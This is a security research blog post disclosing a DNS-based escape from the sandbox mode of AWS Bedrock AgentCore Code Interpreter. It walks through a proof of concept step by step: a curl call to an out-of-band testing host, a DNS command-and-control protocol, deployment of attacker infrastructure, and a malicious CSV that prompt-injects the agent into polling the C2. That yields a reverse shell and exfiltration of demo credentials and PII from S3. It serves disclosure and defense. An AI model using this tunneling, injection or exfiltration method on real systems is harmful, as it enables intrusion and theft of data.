Alert icon Keyboard navigation enabled.
Alert icon TAB or Shift+TAB to navigate across. Down ↓ to open menu. ESC to close menu.
Alert icon Down ↓ to select section. Right → to activate. Up ↑ / Down ↓ / Tab to traverse all. ESC to exit.
BeyondTrust
Skip to content Use space or enter to skip.

What can we help you find today?

Instant Results
  • Website Results
  • Technical Documentation

Filter Options

Focus your search

Filtering by

Your recent searches:

Contact Us Chat with Sales Get Support
  • English
  • Deutsch
  • français
  • español
  • 한국어
  • português
  • Home
  • Resources
  • Blog
  • Pwning AI Code Interpreters in AWS Bedrock AgentCore current page
Link copied

Pwning AI Code Interpreters in AWS Bedrock AgentCore

Mar 16, 2026

Phantom Labs discovered that AWS Bedrock AgentCore Code Interpreter’s sandbox mode allows DNS queries, enabling bypass of network isolation through DNS-based command-and-control. This research details the discovery, proof-of-concept exploit, disclosure timeline, and defensive guidance for organizations using Code Interpreter workloads.

Authors:
Kinnaird Mc Quade
Kinnaird McQuade
Chief Security Architect at BeyondTrust
400x400 Linkedin X Profile
Phantom Labs™
BeyondTrust
AI Agent Code Interpreter
Pwning AI Code Interpreters in AWS Bedrock AgentCore
Kinnaird Mc Quade
Kinnaird McQuade
Chief Security Architect at BeyondTrust
400x400 Linkedin X Profile
Phantom Labs™
BeyondTrust

AWS Bedrock AgentCore Code Interpreter’s ‘Sandbox’ mode allows DNS queries, enabling interactive shells and bypass of network isolation through DNS-based command-and-control

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

This blog was originally published on March 16, 2026 and has been updated (April 22, 2026) to reflect that, following public disclosure, AWS has taken additional steps to remediate this attack vector. DNS-based data exfiltration is no longer possible.

Key Findings

During AI security research into code execution environments, BeyondTrust Phantom Labs™ discovered that AWS Bedrock AgentCore Interpreter’s Sandbox network mode does not fully block outbound communication.

AWS originally advertised Sandbox mode as providing “complete isolation with no external access,” a foundational assumption for AI-SPM. However, Phantom Labs discovered that public DNS queries remain allowed. This behavior can enable threat actors to establish command-and-control channels and data exfiltration over DNS in certain scenarios, bypassing the expected network isolation controls. Specifically, the Code Interpreter can query A and AAAA DNS records.

During our research, Phantom Labs demonstrated that, using this technique, an attacker could:

  • Establish bidirectional communication using a custom tunneling protocol via DNS queries and responses
  • Obtain a full interactive reverse shell
  • Exfiltrate sensitive data through DNS queries, if the Code Interpreter’s IAM role has permissions to access AWS resources (like S3) storing that data
  • Perform command execution with the Code Interpreter’s IAM role

This vulnerability was responsibly disclosed to AWS via HackerOne (Report #3323153). AWS acknowledged the security issue and ultimately decided not to fix the issue. Instead, AWS updated their documentation to recommend that customers use “VPC mode” instead of “sandbox mode” if they want complete control over all traffic.

Update (4/16/2026): After public disclosure, AWS has taken extra steps to remediate this attack vector and DNS exfiltration is no longer possible. We appreciate the partnership with AWS in making AI Security safer.

As part of this research, Phantom Labs is open sourcing the code that we used to build the proof of concept. We believe this is a pattern that can be adapted to other sandboxed code execution environments that fail to properly restrict DNS access. We hope that this research raises awareness and helps drive the industry forward as we rapidly adopt AI systems that autonomously execute code.

Responsible Disclosure Timeline

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied
Date Event
September 1, 2025 Vulnerability discovered and reported to AWS via HackerOne (#3323153), demonstrating DNS exfiltration (initially a CVSSv3.
September 2, 2025 AWS acknowledged receipt of the report.
September 4, 2025 AWS reproduced the initial report.
October 20, 2025 Submitted complete interactive reverse shell proof-of-concept (POC).
October 22, 2025 AWS reproduced and acknowledged the vulnerability’s impact.
November 1, 2025 AWS deployed initial fix to production.
November 17, 2025 AWS communicated that “the initial fix was rolled back due to other factors, and our team is now working on a more robust solution.”
December 23, 2025 AWS communicated that a fix will not be made and it will change the documentation’s description of sandbox mode instead.
December 30, 2025 AWS awarded the security researcher with a $100 gift card to the AWS Gear Shop and a CVSSv3 score of 7.5.
March 16, 2026 Public disclosure.
April 15th, 2026 AWS remediated DNS tunneling in sandboxed AgentCore Code interpreters.

Background

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

If you’ve ever uploaded a CSV to ChatGPT and asked for statistics or insights, you’ve used a code interpreter. Instead of using LLM inference to guess the answer, ChatGPT generates Python code that parses the CSV and returns precise results. This is exactly what AWS Bedrock AgentCore Code Interpreter does - it’s a service that allows AI agents and chatbots to execute Python code on behalf of users.

When a user interacts with a chatbot, the request flows through several layers before reaching Code Interpreter:

Code Interpreter sits at the end of this chain, executing code either pre-written by the developer or generated on the fly by the AI agent itself. It provides several tools. For example, you can have it execute Python, JavaScript, or shell code. You can also have it create/ update/ read/ delete files within the code interpreter. If you configure the Network mode to Sandbox, it shouldn’t have any external network access (although it was able to somewhat magically access certain AWS resources via its assigned IAM role, like S3 or DynamoDB). You can also configure it to run inside a VPC, giving you more control over network access, or dangerously there’s a “public” mode with full public internet access.

The Code Interpreter runs within Firecracker microVMs, which are lightweight VMs designed for secure and isolated code execution. This is what powers AWS Lambda functions and Fargate tasks. (We applaud AWS for providing strong isolation properties of a full KVM-based VM; other “agent as a service” vendors are not providing such solid isolation at the compute level.) There is all sorts of strange behavior with AgentCore Code Interpreter’s Firecracker microVM implementation, some of which has been covered in previous research, such as this post from Sonrai Security which performed credential exfiltration via metadata service access. In a future post, we’ll cover some of these odd behaviors in more detail.

Why This Matters for AI Security

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

As previously noted, the network breakout we discovered requires that an attacker be able to execute code inside the code interpreter. Normally that’s the hard part of any attack. But in the world of AI it may not be so hard. Chatbots and the AI agents they rely on may be able to be tricked into executing malicious code through:

  • Prompt injection (Direct or Indirect) - Attackers manipulate the AI into executing code with exfiltration logic, either via direct prompts or by tricking the AI to visit web pages that feed prompt injection payloads.
  • Supply chain attacks - Code Interpreter includes 270+ third-party dependencies (pandas, numpy, etc.). A compromised package could establish command and control when imported.
  • AI-generated code - When AI generates Python for data analysis, prompts can be crafted to include exfiltration that appears legitimate.

In these scenarios, when an attacker achieves code execution, the “Sandbox” mode would seem to be the last line of defense, preventing data exfiltration. At the time of this disclosure, this line failed. The DNS queries were able to bypass network isolation, violating what was a clear isolation expectation from AWS.

How Phantom Labs Discovered the Sandbox Bypass

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

Part 1: Initial Discovery

Step 0: Setup Code Interpreter with “Sandbox” network mode

Phantom Labs created an AgentCore Code Interpreter instance with the “Sandbox” network mode, per these instructions.

Step 1: Start Interactsh to monitor DNS queries

We ran Interactsh, a widely used OOB testing server by ProjectDiscovery that is popular in the bug bounty community, from a local machine to monitor for DNS queries. You can do this by downloading the Interactsh client (download page here) and running this command:

```

wget https://github.com/projectdiscovery/interactsh/releases/download/v1.2.4/interactsh-client_1.2.4_macOS_arm64.zip
unzip -o interactsh-client_1.2.4_macOS_arm64.zip
./interactsh-client

```

The above command will print out a URL like this:

```

d2h4kll8re43dd6oni70x3udqktocat6t.oast.online.

```

Copy that URL.


Step 2: Create a script to execute commands via Code Interpreter

Run a script to execute shell commands via Code Interpreter. If you clone the agentcore-sandbox-breakout repository, you can use the execute_shell.py script:

```

git clone https://github.com/BeyondTrust/agentcore-sandbox-breakout/
cd agentcore-sandbox-breakout/
make setup-env

```

Now you can run the command to execute shell commands. Let’s reach out to our Interactsh server via a DNS ping:

```

./scripts/execute_shell.py "curl d2h4kll8re43dd6oni70x3udqktocat6t.oast.online"

```

As you can see, the command seemed to fail to connect.

However, we checked the Interactsh terminal and discovered that the DNS query reached our server, despite the “no network access” configuration.

We decided to report this to AWS, demonstrating that DNS queries were escaping the sandbox, and pointing out that this could be used to create a full command & control channel. However, the AWS security team requested a full proof of concept demonstrating bidirectional communication and interactive reverse shell, so we developed a DNS command and control channel to achieve this.



Part 2: Creating the Proof of Concept - a DNS Command-and-Control Protocol

We took it as a challenge to create an impactful proof-of-concept demo. We created a command-and-control channel that smuggles commands via chunked ASCII in DNS A records and exfiltrates data via long subdomains.

Command and Control Architecture:

The attack leverages DNS as a bidirectional communication channel to establish the reverse shell. The key steps are:

  1. Payload Delivery: The attacker sends a payload that is fed to the Code Interpreter, supplying a unique session ID. In a real-world scenario, the chatbot (or other input vector) would need to accept the user’s prompt and allow the user to influence the Python code that gets executed, which is an acceptable use case for some modern AI chatbots. The core logic of the payload is in the payload_client.py file in the repository. It tells the code interpreter to:
    1. Poll the attacker’s DNS command and control server for commands stored in DNS A records
    2. Execute received commands
    3. Exfiltrate output via DNS subdomain queries
  2. Command Delivery: Operator sends commands via HTTP API (port 8080) to the DNS command and control server running on EC2. The server encodes commands as base64 and splits them into 3-character chunks. Each chunk is encoded in an IP address where octets 2-4 contain ASCII values of the characters.
  3. Data Exfiltration: The sandboxed Code Interpreter makes DNS queries that Route53 delegates to the command and control server via nameserver (NS) records. Output is base64-encoded and embedded in DNS subdomain queries. The command and control server extracts the data from these queries and makes it available to the operator via the HTTP API.
  4. Sandbox Bypass: Despite “no network access” configuration, DNS queries egress from the sandbox. Route53 nameserver delegation ensures all DNS queries for the command and control domain reach the attacker-controlled DNS server on EC2.


Command Delivery Protocol (Server -> Client)

Commands are delivered through DNS A record responses. The client polls for commands, and the server responds with IP addresses encoding command data.

Here’s how a command is encoded:

```

Client queries: c0.sess_abc123.c2.bt-research-control.com
Server responds: 10.100.50.104
↑ ↑ ↑ ↑
│ │ │ └─ ASCII 104 = 'h'
│ │ └──── ASCII 50 = '2'
│ └──────── ASCII 100 = 'd'
└─────────── 10 = more chunks, 11 = last chunk

```

Example encoding for command whoami (base64: d2hvYW1p):

```

Example (command "whoami" → base64 "d2hvYW1p"):
c0: 10.100.50.104 → "d2h"
c1: 10.111.89.87 → "oYW"
c2: 10.49.112.0 → "1p"
c3: 11.105.0.0 → "i" (last chunk)

```

The first octet indicates whether more chunks are available (10) or this is the final chunk (11). Octets 2-4 contain the ASCII values of three base64 characters.


Data Exfiltration Protocol (Client -> Server)

Output is base64-encoded and embedded in DNS subdomain queries. Multiple cache-busting fields ensure each query is unique and reaches the DNS server:

```

Query: 1.1.22.1234.MjAyNS0wOC0yMSAyMDoyMDo1NA-.1.sess_abc123.c2.bt-research-control.com
↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑
│ │ │ │ │ │ └─ Session ID
│ │ │ │ │ └─── cmd_seq (cache bust)
│ │ │ │ └────────────────────────────── Base64 output chunk (convert '=' to '-' to keep text DNS-safe)
│ │ │ └─────────────────────────────────── Timestamp (cache bust)
│ │ └────────────────────────────────────── Total chunks
│ └──────────────────────────────────────── Chunk number
└─────────────────────────────────────────── Command sequence (cache bust)

```

Large outputs are split into multiple chunks with a maximum of 60 characters per DNS label (the DNS label length limit is 63 characters).

Proof of Concept Demo

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

Step 0: Provision Demo infrastructure

First, you will need to edit the terraform/terraform.tfvars file to set your Existing domain name and AWS region. Set the following environment variables with your own domain and append them to terraform/terraform.tfvars:

```

export DOMAIN_NAME="bt-research-control.com"
export REGION="us-east-1"
export BUCKET_NAME="agentcore-hacking"
cat << EOF >> attacker-infra/terraform/terraform.tfvars
domain_name = "${DOMAIN_NAME}"
aws_region = "${REGION}"
s3_bucket_name = "${BUCKET_NAME}"
EOF
cd attacker-infra
export AWS_PROFILE=attacker-account
make setup # Install dependencies with uv
make deploy # Deploy C2 server to AWS

```

Run the following commands to deploy the infrastructure and configure the command-and-control Server:

```

cd attacker-infra

# Install dependencies with uv
make setup

# Deploy infrastructure (auto-generates .env with EC2_IP, DOMAIN, etc.)
make deploy

```


Step 1: Generate the Payload

Generate a malicious CSV with the embedded payload:

```

make generate-csv

```

This will generate a malicious CSV that looks like the below:

What’s happening here? When the AI agent or chatbot is preparing to call the Code Interpreter, it generates Python for the Code Interpreter to execute. If the CSV is read into LLM inference (included as part of the prompt) then it will consider these to be part of the instructions. As such, the generated Python will do what we instruct it to here - poll the command-and-control server with DNS requests and listen for bash commands to execute.


Step 2: Attach to the Code Interpreter Session

The command-and-control server session ID is saved to .session_id automatically. To connect to the command-and-control server, you can use the following helper command:

```

make connect-session

```

What's happening here? The payload embedded in the CSV includes a unique session ID (e.g., sess_a1b2c3d4) that acts as a routing key. When the payload executes inside the Code Interpreter sandbox, it starts making DNS queries to cmd.<session_id>.<c2-domain>, polling for commands. Our C2 server sees these queries arrive and registers the session as active.

make connect-session reads the session ID from .session_id (saved during Step 1) and opens an interactive operator shell. From here, everything is tunneled over DNS per the previously described C2 protocol.


Step 3: Basic Command Execution

Now that the code interpreter is calling home to the C2 server, we can verify that the basic command execution works through DNS. If you run whoami, you will get the output genesis1ptools. For example:

The sandboxed Code Interpreter successfully receives the command via DNS A record responses and exfiltrates the output via DNS queries - completely bypassing the “network access” restriction.


Step 4: Abuse AWS Privileges

Next, we can demonstrate that the Code Interpreter’s IAM role can be leveraged to access AWS resources:

Example 1: List S3 Buckets

Run the commands below. Note: you will have to change the name of the S3 bucket to match the one created in your demo environment:

```

aws s3 ls

```

The output will include the buckets and the list of files:

```

# aws s3 ls

2025-10-19 08:23:50 agentcore-hacking
2025-10-19 10:36:59 agentcore-hacking-sensitive-data

# aws s3 ls s3://agentcore-hacking-sensitive-data/ --recursive
2025-10-19 10:37:00 220 credentials/api-keys.json
2025-10-19 10:37:00 228 customer-data/users-export.csv
2025-10-19 10:37:00 153 financial/Q3-2024-revenue.csv

```

Evidence:

As you can see, the Code Interpreter successfully lists S3 buckets and their contents, demonstrating that an attacker can discover sensitive data locations through the DNS channel.


Example 2: Exfiltrate Sensitive Data

Finally, to demonstrate exfiltration of actual file contents from S3, run the following commands:

```

aws s3 cp s3://agentcore-hacking-sensitive-data/customer-data/users-export.csv -
aws s3 cp s3://agentcore-hacking-sensitive-data/credentials/api-keys.json -
aws s3 cp s3://agentcore-hacking-sensitive-data/financial/Q3-2024-revenue.csv -

```

The output should look like the following:

```

# users-export.csv
user_id,email,name,phone,ssn_last4
1001,[email protected],John Doe,555-0101,1234
1002,[email protected],Jane Smith,555-0102,5678
1003,[email protected],Bob Wilson,555-0103,9012
NOTE: Contains PII - Handle with care

# api-keys.json
{
"service": "payment-gateway",
"api_key": "pk_live_FakeKey",
"api_secret": "sk_live_FakeSecret",
"environment": "production",
"note": "DO NOT SHARE - CONFIDENTIAL"
}

# Q3-2024-revenue.csv
Date,Department,Revenue,Confidential
2024-07-01,Sales,125000,Yes
2024-08-01,Sales,138000,Yes
2024-09-01,Sales,142000,Yes
Total,Sales,405000,CONFIDENTIAL

```

Output in the AgentCore hacking toolkit will resemble the following:

As you can see, the complete file contents, including PII, credentials, and financial data, are successfully exfiltrated through DNS queries, all while the sandbox reports “no network access.”


Step 5: Cleanup

To clean up the demo infrastructure, run the following command:

```

make terraform-destroy

```

Likelihood and Impact

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

The Code Interpreter requires an IAM role to access AWS resources, and when AWS built the code interpreter, allowing S3 access from sandbox mode was a key customer requirement. However, it is easy to assign an overprivileged role to Code Interpreter because it can use an IAM role that is otherwise meant for other parts of the AgentCore service. This is because the trust policy on the role must match the service bedrock-agentcore.amazonaws.com, which can be assumed by Code Interpreter, Runtime, or Gateway - all of which have different needs for permissions. An AgentCore gateway role may need secretsmanager:GetSecretValue, but a Code Interpreter certainly does not.

Additionally, the AgentCore role can be easily assigned excessive permissions. In fact, the AgentCore Starter Toolkit Default Role, documented here, actually grants very broad permissions, including full S3 read access to all buckets in the account, full DynamoDB access, and full access to all Secrets Manager secrets. This role was used by other open-source AgentCore code interpreter examples as well. This is far beyond the principle of least privilege, and the Code Interpreter role should never have such broad access, especially since it can be tricked into exfiltrating data from these services via DNS.

Defensive Recommendations

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

AWS decided not to fix this security issue. Instead, they updated their documentation to clarify that Sandbox Mode allows DNS resolution.

Here's how to protect yourself:

  • Inventory your AgentCore Code Interpreter instances, their network modes, and their privileges.
  • If you're using Sandbox Mode and assumed it provided complete network isolation, it does not. DNS resolution is enabled by design, which means DNS-based data exfiltration is possible.
  • Scan code for prompt injection vulnerabilities to reduce risk of attackers manipulating code that is sent to the code interpreter.
  • Use Guardrails on the input as an additional safeguard.
  • Prefer newer models that have built-in safeguards to limit outright prompt injection.
  • Migrate sensitive workloads to VPC only mode: Per AWS's statement, VPC Mode is the only option that provides complete network isolation and complete control over DNS resolution. If your Code Interpreter has access to sensitive data or AWS resources, consider migrating to VPC Mode, which requires VPC endpoints, security groups, network ACLs, and Route53 Resolver DNS Firewall. This enables you to block DNS queries to unknown malicious domains and monitor for malicious activity.

Conclusion: Rethinking Isolation in AI Code Execution Environments

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

AI systems are rapidly gaining the ability to execute code autonomously, interact with cloud infrastructure, and access sensitive data. As these capabilities expand, the security boundaries around AI execution environments become increasingly critical.

This research demonstrates how DNS resolution can undermine the network isolation guarantees of sandboxed code interpreters. This vulnerability in AWS Bedrock AgentCore Code Interpreter would allow attackers to gain interactive reverse shell access to code interpreters in “Sandbox” mode, bypassing any guarantees (or at least reasonable expectations) of network isolation. And as we’ve said, getting malicious code to execute inside the Code Interpreter may not be terribly difficult due to the nature of AI agents and how they tend to use code interpreters.

By using this method, attackers could have exfiltrated sensitive data from AWS resources accessible via the Code Interpreter’s IAM role, potentially causing downtime, data breaches of sensitive customer information, or deleted infrastructure.

Have thoughts about AI agent security or AWS Bedrock AgentCore? Reach out to Phantom Labs on LinkedIn or X @btphantomlabs, and connect with me directly on X @kmcquade3. Public threads encouraged.

Acknowledgements

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

Thank you to the AWS Security team, AWS Bedrock AgentCore team, and AWS Vulnerability Disclosure Program (VDP) team for their collaboration – especially Mark Ryland and Utku Yildirim.

Disclaimer: Disclosure and Coordination

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

This research was conducted in accordance with responsible disclosure practices.

Phantom Labs coordinated with AWS through their HackerOne vulnerability disclosure program, providing a working proof-of-concept and allowing time for investigation and remediation.

AWS ultimately determined that the observed behavior reflects intended functionality rather than a security defect, and updated their documentation to clarify that Sandbox Mode permits DNS resolution.

Because the issue could affect organizations relying on sandbox isolation expectations, we are publishing this research to help security teams better understand the risk and implement appropriate mitigations.

Public Statement from AWS

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

After awarding a CVSS Score of 7.5, AWS provided a public statement. We have included their acknowledgement below.

AWS services and infrastructure are operating as expected. Amazon Bedrock AgentCore Code Interpreter provides three network modes to support varying customer security requirements. Public Mode is the easiest-to-use option with no network restrictions and no required configuration. This mode enables your agent to reach any network-accessible service and is ideal for development and testing scenarios. Sandbox Mode is nearly as simple and delivers substantial network restrictions with minimal configuration effort. This mode provides network access exclusively to Amazon S3 for your data operations, making it ideal for production workloads that rely on S3 data. DNS resolution is enabled to support successful execution of S3 operations. VPC Mode requires additional configuration: VPC endpoints, security groups, and network ACLs to establish connectivity. This mode provides complete network isolation and enables access to your private AWS resources: databases, internal APIs, and services in private subnets. In addition to the network controls and visibility provided by VPC Mode, AWS also provides complete control over DNS resolution and monitoring for anomalous DNS activity. For security best practices related to DNS in VPC Mode, see https://aws.amazon.com/blogs/s....

We would like to thank researcher Kinnaird McQuade for their report, which prompted us to update our documentation to provide additional clarity regarding Sandbox Mode functionality.

Originally, Sandbox mode was an “isolated environment with no external access” (Wayback Machine link). AWS documentation updated to “limited external network access” (link).

Explore More Research from Phantom Labs

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

Phantom Labs™ researchers "think like attackers" to expose privilege escalation paths and identity attack vectors, helping defenders proactively uncover misconfigurations and detect threats in complex hybrid and cloud environments.

Explore the latest research from Phantom Labs here.

Learn More

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied
On-Demand Webinar
AI Security: From a Threat Researcher’s Perspective
On-Demand Webinar
AI Hacking: Weaponizing Enterprise Agents

FAQs

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

AWS Bedrock AgentCore Code Interpreter is a service that allows AI agents and chatbots to execute code, such as Python, JavaScript, or shell commands, to perform tasks like data analysis, automation, or system interaction. The interpreter runs inside Firecracker microVMs designed to isolate code execution from external systems.

No. As of this disclosure, Sandbox Mode allows DNS resolution. This means that while direct outbound connections may be restricted, DNS queries can still be made. Attackers can potentially exploit this behavior to establish command-and-control channels or exfiltrate data using DNS-based techniques.

DNS data exfiltration is a technique where attackers encode sensitive data into DNS queries sent to attacker-controlled domains. Because DNS traffic is often allowed in restricted environments, it can be used as a covert channel for command-and-control or data theft.

No. After reviewing the report and proof-of-concept submitted through the AWS vulnerability disclosure program, AWS determined that the observed behavior reflects intended functionality rather than a defect. Instead of issuing a patch, AWS updated its documentation to clarify that Sandbox Mode allows DNS resolution. Organizations requiring full network isolation are advised to use VPC Mode.

The risk depends on how the Code Interpreter is configured. If a Code Interpreter instance runs in Sandbox Mode and has access to sensitive AWS resources through an IAM role, DNS queries could potentially be used as a covert communication channel for data exfiltration. Environments that use VPC Mode with controlled DNS resolution and least-privilege IAM roles significantly reduce this risk.

About the Author

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied
Kinnaird Mc Quade
Kinnaird McQuade
Chief Security Architect at BeyondTrust
400x400 Linkedin X Profile
Phantom Labs™
BeyondTrust

BeyondTrust Phantom Labs™ believes the best way to fully understand cybersecurity threats is to work closely with our customers and partners, conducting real world research into the attacks that matter most to them. By dissecting emerging attack methods and exploitation techniques of threat actors, as well as conducting novel research, the team’s mission is to help organizations defend against identity threats. 

Latest Posts
  • The Most Common & Most Dangerous Types of Shadow IT
    Jun 5, 2026 The Most Common & Most Dangerous Types of Shadow IT
    Blog
    19m
  • 14 Password Management Best Practices
    May 28, 2026 14 Password Management Best Practices
    Blog
    12m
  • A Security Researcher’s Guide to Understanding Copilot Studio AI Agents
    May 26, 2026 A Security Researcher’s Guide to Understanding Copilot Studio AI Agents
    Blog
    3m
  • How to Secure Cloud-Native Infrastructure at Scale and Speed: A Conversation with Madhu Adireddi
    May 21, 2026 How to Secure Cloud-Native Infrastructure at Scale and Speed: A Conversation with Madhu Adireddi
    Blog
    5m
  • Cybersecurity as a Boardroom Priority for Major African TelCos
    May 12, 2026 Cybersecurity as a Boardroom Priority for Major African TelCos
    Blog
    8m
Related
  • BeyondTrust Achieves TX-RAMP Level 2 Certification Across Full Portfolio, Strengthening Trust in State Identity Security
    Nov 25, 2025 BeyondTrust Achieves TX-RAMP Level 2 Certification Across Full Portfolio, Strengthening Trust in State Identity Security
    Blog
    4m
  • A Christmas Fail – Putting Holiday Hacklore On The Naughty List
    Dec 22, 2025 A Christmas Fail – Putting Holiday Hacklore On The Naughty List
    Blog
    5m
Share this Article
  • Link
Tags
  • AI Agent Security
  • AI Code Interpreter Security
  • AI Infrastructure Security
  • AI Sandbox Breakout
  • AWS Bedrock Security
  • BeyondTrust Phantom Labs
  • BeyondTrust Research Team
  • DNS Data Exfiltration
  • Phantom Labs
  • Phantom Labs Research
Stay up to Date
Get the latest news, ideas, and tactics from BeyondTrust. You may unsubscribe at any time.

Keep up with BeyondTrust

Customer Support Get Started
  • LinkedIn
  • X
  • Facebook
  • Instagram
  • Add BeyondTrust as a preferred source on Google
  • Privacy
  • Security
  • Manage Cookies
  • Do Not Sell My Data
  • WEEE Compliance

Copyright © 2003 — 2026 BeyondTrust Corporation. All rights reserved. Other trademarks identified on this page are owned by their respective owners. BeyondTrust Corporation is not a chartered bank or trust company, or depository institution. It is not authorized to accept deposits or trust accounts and is not licensed or regulated by any state or federal banking authority.

Prefers reduced motion setting detected. Animations will now be reduced as a result.